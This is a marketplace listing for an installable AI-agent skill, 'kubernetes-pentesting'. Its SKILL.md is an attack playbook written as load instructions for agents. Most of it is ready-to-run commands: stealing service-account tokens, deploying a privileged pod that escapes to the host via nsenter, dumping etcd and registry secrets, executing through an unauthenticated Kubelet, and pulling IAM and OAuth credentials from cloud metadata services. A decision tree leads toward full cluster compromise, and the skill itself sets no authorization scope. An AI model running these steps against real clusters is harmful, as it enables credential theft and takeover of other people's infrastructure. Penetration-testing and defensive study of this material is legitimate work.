
kubernetes-pentesting
Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.
- Installs
- 3.7K
- Last 24h
- +16
- Trending rank
- #6810
- Security
- Not audited
Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill kubernetes-pentesting- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads kubernetes-pentesting automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: Kubernetes Pentesting — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.
0. RELATED ROUTING
Before going deep, consider loading:
- container-escape-techniques for escaping from a compromised pod to the underlying node
- linux-privilege-escalation once on a node for escalating to root
- linux-lateral-movement for pivoting between nodes
- linux-security-bypass when Pod Security Standards or seccomp profiles restrict your actions
- ssrf-server-side-request-forgery when exploiting SSRF to reach the K8s API or cloud metadata
1. K8S API SERVER ACCESS
1.1 Anonymous Access Check
# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis
# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)
1.2 Token-Based Authentication (from inside pod)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/pods
1.3 Certificate / Kubeconfig Authentication
# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces
2. RBAC ENUMERATION
2.1 Self-Permission Check
# What can I do?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system
# Specific checks
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*' # Full cluster admin?
# Via API (from inside pod):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Content-Type: application/json" \
-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"
2.2 Role and ClusterRole Enumeration
kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME
# Find overprivileged roles (wildcard verbs/resources):
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'
2.3 Dangerous RBAC Permissions
| Permission | Risk | Escalation Path |
|---|---|---|
pods/exec | Critical | Exec into any pod (access secrets, tokens) |
pods (create) | Critical | Create privileged pod → node access |
secrets (get/list) | Critical | Read all secrets including SA tokens |
serviceaccounts/token (create) | Critical | Generate token for any SA |
nodes/proxy | High | Proxy to Kubelet API |
escalate on roles | Critical | Grant yourself any permission |
bind on rolebindings | Critical | Bind any role to yourself |
impersonate | Critical | Impersonate any user/SA |
3. SERVICE ACCOUNT TOKEN ABUSE
3.1 Token Location and Decoding
# Default mount point
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Decode JWT (no verification needed)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Shows: namespace, service account name, expiry
3.2 Escalation via Service Account
# If SA has elevated permissions — dump secrets, create privileged pod:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
securityContext: { privileged: true }
volumeMounts: [{ name: hostfs, mountPath: /host }]
volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF
3.3 Token Generation
# If serviceaccounts/token create permission:
kubectl create token admin-sa -n kube-system --duration=87600h
4. ETCD DIRECT ACCESS
# Check anonymous access (port 2379 on master nodes):
curl -sk https://ETCD_IP:2379/version
# With certs from master node (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
--cacert=ca.crt --cert=server.crt --key=server.key \
get / --prefix --keys-only | grep secrets
# Dump specific secret:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret
5. POD ESCAPE TO NODE
See container-escape-techniques for detailed escape chains.
Quick reference for K8s-specific vectors:
| Vector | Requirement | Command |
|---|---|---|
| hostPID | spec.hostPID: true | nsenter -t 1 -m -u -i -n -p -- bash |
| hostNetwork | spec.hostNetwork: true | Access node services (Kubelet, etcd) |
hostPath / | Volume mount of host root | chroot /host bash |
| Privileged container | securityContext.privileged: true | Mount host disk / nsenter |
6. KUBELET API (Port 10250/10255)
curl -sk https://NODE_IP:10250/pods # Anonymous access check
# 10255 = read-only (legacy, HTTP)
# Exec into pod via Kubelet (bypasses API server RBAC):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"
# Read logs:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME
7. CLOUD-SPECIFIC ATTACKS
7.1 AWS EKS — IMDS Access
# From inside a pod (if IMDSv1 or no hop limit enforced):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns IAM role name, then:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# IMDSv2 (token required):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE
7.2 GCP GKE — Metadata API
# GCE metadata server
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns OAuth2 access token
# List available scopes
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
# GKE Workload Identity (if configured):
# The pod's SA is mapped to a GCP SA
# Token automatically available for GCP API calls
7.3 Azure AKS — Managed Identity
# Azure IMDS
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns Azure access token
# AKS Pod Identity / Workload Identity
# Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars
env | grep AZURE
8. ADMISSION WEBHOOK BYPASS
| Strategy | Command/Method |
|---|---|
| Excluded namespace | kubectl get validatingwebhookconfigurations -o yaml | grep namespaceSelector → use excluded NS |
| failurePolicy: Ignore | If webhook server down → admission skipped |
| Ephemeral containers | kubectl debug POD -it --image=alpine (may not be covered) |
| Static pods | Place manifest in /etc/kubernetes/manifests/ on node (bypasses API admission) |
9. CONTAINER REGISTRY ACCESS
# Extract pull secrets (dockerconfigjson):
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'
# Pull + inspect images for hardcoded secrets:
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc
10. NETWORK POLICY ENUMERATION & BYPASS
kubectl get networkpolicies --all-namespaces
# Find namespaces without policies (default allow-all):
for ns in $(kubectl get ns -o name | cut -d/ -f2); do
[ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
done
Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, hostNetwork: true bypasses pod network policies entirely.
11. TOOLS
| Tool | Purpose | Command |
|---|---|---|
| kubectl | K8s API interaction | kubectl auth can-i --list |
| kube-hunter | Automated K8s vulnerability scanning | kube-hunter --remote TARGET |
| peirates | K8s pentesting from inside a pod | ./peirates |
| kubesploit | Post-exploitation framework for K8s | Agent-based C2 |
| CDK | Container/K8s exploitation toolkit | ./cdk evaluate |
| kubeletctl | Interact with Kubelet API directly | kubeletctl pods -s NODE_IP |
| kubeaudit | Cluster misconfiguration audit | kubeaudit all |
12. KUBERNETES PENTESTING DECISION TREE
Access to Kubernetes environment?
│
├── Inside a pod?
│ ├── Read SA token → check RBAC permissions (§2.1)
│ │ ├── Can create pods? → privileged pod escape (§3.2)
│ │ ├── Can read secrets? → dump all secrets (§3.2)
│ │ ├── Can exec into pods? → pivot to other pods
│ │ └── Minimal permissions → try Kubelet API (§6)
│ │
│ ├── Cloud environment?
│ │ ├── AWS → check IMDS for IAM creds (§7.1)
│ │ ├── GCP → check metadata for OAuth token (§7.2)
│ │ └── Azure → check IMDS for managed identity (§7.3)
│ │
│ └── Escape to node? → load container-escape-techniques
│
├── Access to node?
│ ├── kubeconfig found? → full cluster access (§1.3)
│ ├── etcd accessible? → dump all secrets (§4)
│ ├── Kubelet cert/key? → API server access
│ └── Static pod manifests? → create privileged static pod (§8)
│
├── External access only?
│ ├── API server exposed? → anonymous/token check (§1)
│ ├── Kubelet 10250 exposed? → direct pod exec (§6)
│ ├── etcd 2379 exposed? → direct secret dump (§4)
│ └── Dashboard/UI exposed? → authentication bypass
│
├── RBAC escalation path?
│ ├── escalate/bind permissions? → grant cluster-admin (§2.3)
│ ├── impersonate permission? → act as admin (§2.3)
│ ├── serviceaccounts/token create? → mint admin token (§3.3)
│ └── Overprivileged clusterrole? → abuse wildcards (§2.2)
│
└── No direct escalation?
├── Enumerate network policies → find unprotected namespaces (§10)
├── Check admission webhooks → find bypass (§8)
├── Pull registry images → search for secrets (§9)
└── Scan nodes for exposed services → Kubelet, etcd
FAQ
What does the kubernetes-pentesting skill do?
Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.
How do I install kubernetes-pentesting?
Run npx skills add https://github.com/yaklang/hack-skills --skill kubernetes-pentesting in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/kubernetes-pentesting/ (personal) or .claude/skills/kubernetes-pentesting/ (project).
Which AI agents can use kubernetes-pentesting?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is kubernetes-pentesting safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains kubernetes-pentesting?
It is published by yaklang in yaklang/hack-skills. It has 3,738 recorded installs.
More from yaklang/hack-skills
hack
yaklang/hack-skills
Entry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.
android-pentesting-tricks
yaklang/hack-skills
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
recon-and-methodology
yaklang/hack-skills
Reconnaissance and methodology playbook. Use when mapping assets, discovering endpoints, fingerprinting technology, and building a structured testing plan for a new target.
sqli-sql-injection
yaklang/hack-skills
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
code-obfuscation-deobfuscation
yaklang/hack-skills
Code obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.
xss-cross-site-scripting
yaklang/hack-skills
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
Popular devops & cloud skills
microsoft-foundry
microsoft/azure-skills
Build, deploy, evaluate, optimize, fine-tune, and manage Microsoft Foundry agents, models, and resources end to end. USE FOR: foundry, azd ai agent, azd provision/deploy, hosted agent scaffold/develop/run/deploy/troubleshoot, prompt agent create, managed harness agent create, GitHub Copilot harness agent, create agent, update agent, add tool to agent, invoke agent, agent insights, evaluate agent, batch eval, continuous eval, continuous monitoring, agent CI/CD, optimize prompt, improve prompt, optimize agent instructions, Agent Optimizer scaffold, dataset curation from traces, deploy model, model fine-tuning (SFT/DPO/RFT), Foundry project, RBAC, role assignment, permissions, quota, capacity, region, deployment failure, AI Services, create Foundry resource, knowledge index, customize deployment, onboard, availability, training-data, grader, distillation, large file upload. DO NOT USE FOR: Azure Functions, App Service, general Azure deploy (use azure-deploy), general Azure prep (use azure
azure-diagnostics
microsoft/azure-skills
Debug Azure production issues on Azure using AppLens, Azure Monitor, resource health, and safe triage. WHEN: debug production issues, troubleshoot app service, app service high CPU, app service deployment failure, troubleshoot container apps, container app 503 or target port mismatch, troubleshoot functions, function telemetry missing or stopped after a config/connection-string change, troubleshoot AKS, VM RDP, Linux SSH, VM black screen, can't connect to VM, reset VM password, NSG or firewall blocking, kubectl cannot connect, kube-system/CoreDNS failures, pod pending, crashloop, node not ready, upgrade failures, analyze logs, KQL, insights, image pull failures, cold start issues, health probe failures, resource health, root cause of errors, troubleshoot event hubs, troubleshoot service bus, messaging SDK error, AMQP connection failure, message lock lost, lock renewal during long-running processing, service bus dead letter.
azure-prepare
microsoft/azure-skills
Prepare azd-based Azure projects for deployment: generates azure.yaml, infrastructure (Bicep/Terraform), and Dockerfiles for the Azure Developer CLI (azd) workflow. USE ONLY when the user explicitly wants to use azd as the deployment tool, or the project already has an azure.yaml file. DO NOT USE FOR: non-azd deployments, Python App Service code-only deploys (use python-appservice-deploy), or cross-cloud migration (use azure-cloud-migrate). WHEN: prepare app for azd, create azure.yaml, set up azd infrastructure, modernize app for Azure with azd, deploy with azd, function app, timer trigger, service bus trigger, event-driven function, managed identity, generate Bicep, generate Terraform, create and deploy to Azure.
azure-ai
microsoft/azure-skills
Use for Azure AI: Search, Speech, OpenAI, Document Intelligence. Helps with search, vector/hybrid search, speech-to-text, text-to-speech, transcription, OCR. WHEN: AI Search, query search, vector search, hybrid search, semantic search, speech-to-text, text-to-speech, transcribe, OCR, convert text to speech.
azure-deploy
microsoft/azure-skills
Execute Azure deployments for ALREADY-PREPARED applications that have existing .azure/deployment-plan.md and infrastructure files. DO NOT use this skill when the user asks to CREATE a new application — use azure-prepare instead. This skill runs azd up, azd deploy, terraform apply, and az deployment commands with built-in error recovery. Requires .azure/deployment-plan.md from azure-prepare and validated status from azure-validate. WHEN: "run azd up", "run azd deploy", "execute deployment", "push to production", "push to cloud", "go live", "ship it", "bicep deploy", "terraform apply", "publish to Azure", "launch on Azure". DO NOT USE WHEN: "create and deploy", "build and deploy", "create a new app", "set up infrastructure", "create and deploy to Azure using Terraform" — use azure-prepare for these.
azure-validate
microsoft/azure-skills
Pre-deployment validation for Azure readiness. Run deep checks on configuration, infrastructure (Bicep or Terraform), RBAC role assignments, managed identity permissions, and prerequisites before deploying. WHEN: validate my app, check deployment readiness, run preflight checks, verify configuration, check if ready to deploy, validate azure.yaml, validate Bicep, test before deploying, troubleshoot deployment errors, validate Azure Functions, validate function app, validate serverless deployment, verify RBAC roles, check role assignments, review managed identity permissions, what-if analysis, validate Container Apps deployment.